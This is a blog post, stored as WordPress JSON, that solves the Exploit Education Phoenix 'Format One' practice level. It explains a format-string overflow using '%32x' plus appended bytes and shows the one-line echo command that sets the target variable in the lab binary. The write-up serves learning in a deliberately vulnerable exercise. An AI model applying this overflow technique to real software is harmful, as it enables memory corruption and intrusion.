{"id":553,"date":"2019-07-18T11:20:47","date_gmt":"2019-07-18T15:20:47","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=553"},"modified":"2019-08-16T13:08:30","modified_gmt":"2019-08-16T17:08:30","slug":"exploit-education-phoenix-format-one-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-format-one-solution\/","title":{"rendered":"Exploit Education | Phoenix | Format One Solution"},"content":{"rendered":"<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/phoenix\/format-one\/\">http:\/\/exploit.education\/phoenix\/format-one\/<\/a><\/p>\n<p>This level is largely the same as the previous, except now we need to set the <strong>changeme<\/strong> variable to a specific value (0x45764f6c). We know we can overflow the <strong>dest<\/strong> variable with the &#8220;%x&#8221; format specifier. We can use a number before the &#8220;x&#8221; to specify how many characters to print. For example, the fill the 32 byte buffer for the <strong>dest<\/strong> variable, we can use &#8220;%32x&#8221;. Then we&#8217;ll simply append the required bytes for the <strong>changeme<\/strong> variable.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:~$ echo -e &quot;%32x\\x6c\\x4f\\x76\\x45&quot; | \/opt\/phoenix\/amd64\/format-one \r\nWelcome to phoenix\/format-one, brought to you by https:\/\/exploit.education\r\nWell done, the 'changeme' variable has been changed correctly!<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Even more format string fun! &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-format-one-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Format One Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-553","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/553","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=553"}],"version-history":[{"count":3,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/553\/revisions"}],"predecessor-version":[{"id":674,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/553\/revisions\/674"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=553"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=553"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=553"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}